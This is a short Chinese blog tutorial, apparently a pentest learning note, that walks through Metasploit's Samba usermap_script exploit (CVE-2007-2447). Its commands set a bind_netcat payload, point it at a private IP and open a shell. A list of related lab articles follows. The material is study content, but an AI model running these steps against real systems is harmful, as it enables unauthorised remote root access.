metasploit--multi/samba/usermap_script

最新推荐文章于 2022-11-12 12:54:44 发布
最新推荐文章于 2022-11-12 12:54:44 发布
阅读量495 收藏 2
点赞数
分类专栏： metasploit
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yanyi3271/article/details/102776496
版权

metasploit的multi/samba/usermap_script使用

1、search samba
在渗透代码库中找出攻击Samba服务的模块
在这里插入图片描述

2、use exploit/multi/samba/usermap_script
使用该模块进行渗透攻击

在这里插入图片描述

3、show payloads
查看与该渗透攻击模块相兼容的攻击载荷

在这里插入图片描述

4、set payload cmd/unix/bind_netcat
设置攻击载荷为bind_netcat，即使用netcat工具在渗透攻击成功后执行shell，并通过netcat绑定在一个监听端口上

在这里插入图片描述

5、show options
查看需要配置的参数

在这里插入图片描述

6、set RHOST 10.180.7.26

在这里插入图片描述

7、exploit
进行攻击，拿到shell

在这里插入图片描述

click#15
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ctf：kali2：渗透Samba：exploit/multi/samba/usermap_script
viviliving的专栏
12-09 1415
从输出的信息中，可以看到成功的打开了一个会话。这表示已成功攻击了目标主机。此时用户可以执行一些Linux命令，查看目标主机的相关信息。从输出的信息中，可以看到当前目标系统登录的用户名是root。如果想了解该用户的详细信息，可以使用id命令查看。输出的信息表上root用户属于root组，并且其UID和GID都为0。whoami #查看当前登录系统的用户。id #查看当前登录用户的信息。
新手教程—Samba渗透远程命令注入漏洞 username map script（CVE-2007-2447 ）
星虐
01-10 2398
Smaba 远程shell命令注入 （username map script） 文章目录Smaba 远程shell命令注入 （username map script）一、漏洞描述二、漏洞利用过程二、漏洞实验步骤 一、漏洞描述 漏洞编号 CVE-2007-2447 披露时间 2007-05-14 “username map script”是Samba协议的远程命令注入执行漏洞 漏洞路径 exploit/multi/samba/usermap_script 影响版本 samba 3.0.20-3.0.25
Metasploit学习： Samba服务 usermap_script安全漏洞利用
Sy0ung_的博客
11-18 1683
Metasploit学习： Samba服务 usermap_script安全漏洞利用 1、username_script 是什么 - Samba协议的一个漏洞CVE-2007-2447，用户名映射脚本命令执行 - 影响Samba的3.0.20到3.0.25rc3 版本 - 当使用非默认的用户名映射脚本配置选项时产生 - 通过指定一个包含shell元字符的用户名，攻击者能够执行任意命令 2、如何利用 1、使用metasploit框架 3、漏洞时间线 漏洞的时间线： - 2007年5月7日：漏洞匿名披露到
Metasploit学习笔记：Samba服务 usermap_script安全漏洞相关信息
丶惊弦
07-22 2248
1、Username map script 是什么 - Samba协议的一个漏洞CVE-2007-2447，用户名映射脚本命令执行 - 影响Samba的3.0.20到3.0.25rc3 版本 - 当使用非默认的用户名映射脚本配置选项时产生 - 通过指定一个包含shell元字符的用户名，攻击者能够执行任意命令 2、如何利用 1、使用metasploit框架 2、使用模块：/multi/sa...
2.8 利用samba漏洞进行渗透
qq_55202378的博客
07-17 2373
samba漏洞
MSF以及Samba漏洞利用
zyh18851473527的博客
11-15 6979
文章目录MSF以及Samba漏洞利用一、Metasploit简介1.1MSF启动1.2问题报错1.2.1及时更新源1.2.2下载数据库二、Metasploit基础2.1专业术语2.2渗透攻击步骤三、主机扫描3.1使用辅助模块进行端口扫描3.1.1检查有哪些可用端口3.1.2一个小问题**3.1.3使用TCP扫描模块并检查有那些参数需要设置**3.1.4使用unset取消某个参数3.2使用辅助模块进行服务扫描3.3使用Nmap扫描3.3.1系统扫描四、漏洞利用4.1Metasploitable2搭建4.2 S
metasploit-lowlevel_metasploit_
10-02
《Metasploit低级别利用详解》 在网络安全领域，Metasploit框架是一个不可或缺的工具，尤其对于那些希望深入学习漏洞利用技术的黑客来说。Metasploit不仅提供了丰富的exploit（漏洞利用）模块，还能帮助安全研究...
Eternalblue-Doublepulsar-Metasploit:利用漏洞Eternalblue-Doublepulsar的Metasploit模块
05-02
永恒的蓝色-双脉冲星-元宝 本软件按“原样”提供，不提供任何形式的明示或暗示担保，包括但不限于对适销性，特定目的的适用性和非侵权性的担保。 无论是由于软件，使用或其他方式产生的，与之有关或与之有关的合同，...
metasploit-framework-master.zip
09-08
"metasploit-framework-master.zip" 是这个框架的源代码压缩包，包含了完整的开发环境和工具集合。 **Metasploit框架的核心组件** 1. **Payloads（有效载荷）**：有效载荷是攻击的核心部分，它们在目标系统上执行...
07-SCADA_Metasploit_Modules.xlsx
10-10
Metasploit中工控设备的攻击模块清单
metasploit-framework-6.3.34.zip
09-17
《Metasploit Framework 6.3.34：渗透测试的利器》 Metasploit Framework，简称MSF，是一款开源的安全漏洞检测工具，主要用于安全研究人员进行渗透测试和漏洞验证。这个版本是6.3.34，代表着软件的最新迭代，通常会...
4.9、漏洞利用 smb-RCE远程命令执行
c10udz的博客
11-12 2324
1.1 samba是在Linux和UNIX系统上实现SMB协议的一个免费软件，由服务器及客户端程序构成。1.2 SMB（Server Messages Block，信息服务块）是一种在局域网上共享文件和打印机的一种通信协议，它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器(C/S）型协议，客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。1.3 samba监听的端口。
6-15漏洞利用-smb-RCE远程命令执行
山兔的博客
07-22 865
Samba是在Linux和UNIX系统上实现SMB文件共享协议的一个免费软件，由服务器及客户端程序构成。SMB（ServerMessageBlock，信息服务块）是一种在局域网上共享文件和打印机的一种通信协议，它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。一般运行在139、445端口。如果目标开启了445，应该是开启了支持smb协议的一个软件，139也是它的一个证明。...
metasploit魔鬼训练营第一章笔记
电风
05-17 4051
利用metasploit攻击靶机 kali自带metasploit LINUX下启动方式 1.msfconsole 2.cd /usr/share/metasploit-framework/ ./msfconsole (自带更新程序) 一.控制台形式 (1)msfconsole进入控制台终端 (2)msf>help search,MSF终端会显示该命令的参数列表，包括每个参
Metasploit usermap_script漏洞相关笔记
isinstance的博客
12-06 4662
usermap_script：CVE-2007-2447Samba用户名映射脚本命令执行这个模块利用漏洞执行命令，在Samba版本3.0.20到3.0.25rc3当使用非默认用户名映射脚本配置选项。 通过指定一个用户名包含shell元字符,攻击者可以执行任意命令。 不需要身份验证来利用此漏洞，因为此选项用于在身份验证之前映射用户名！模块的位置 exploit/multi/samba/userm
Samba服务的username map script的漏洞相关信息
橡皮
12-21 2303
1、Username map script 是什么- Samba协议的一个漏洞CVE-2007-2447，用户名映射脚本命令执行 - 影响Samba的3.0.20到3.0.25rc3 版本 - 当使用非默认的用户名映射脚本配置选项时产生 - 通过指定一个包含shell元字符的用户名，攻击者能够执行任意命令2、如何利用1、使用metasploit框架 2、使用模块：/multi/samba/userm
metsploit魔鬼训练营第一章作业
sky
06-04 1332
实验一：通过攻击samba服务漏洞控制linux靶机 目标ip：192.168.232.134 metasploitable靶机下载地址：链接：http://pan.百度.com/s/1slHJcZV 密码：ndoj 实验环境：kali linux kali：msfconsole  msf > use exploit/multi/samba/usermap_script  msf
kali 输入 msfconsole 启动报错：/usr/share/metasploit-framework/lib/msf/core/payload/android.rb:87
烟敛寒林的博客
11-24 7429
kali   启动 msfconsole 时候失败，报错： root@kali:~# msfconsole /usr/share/metasploit-framework/lib/msf/core/payload/android.rb:87:in `not_after=': bignum too big to convert into `long' (RangeError)         fro...
from /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/bootsnap-1.17.1/lib/bootsnap/load_path_cache/path_scanner.rb:50:in `walk'
最新发布
02-09
`from /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/bootsnap-1.17.1/lib/bootsnap/load_path_cache/path_scanner.rb:50:in `walk'` 是一个错误信息的堆栈跟踪（stack trace），它指示了在执行...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值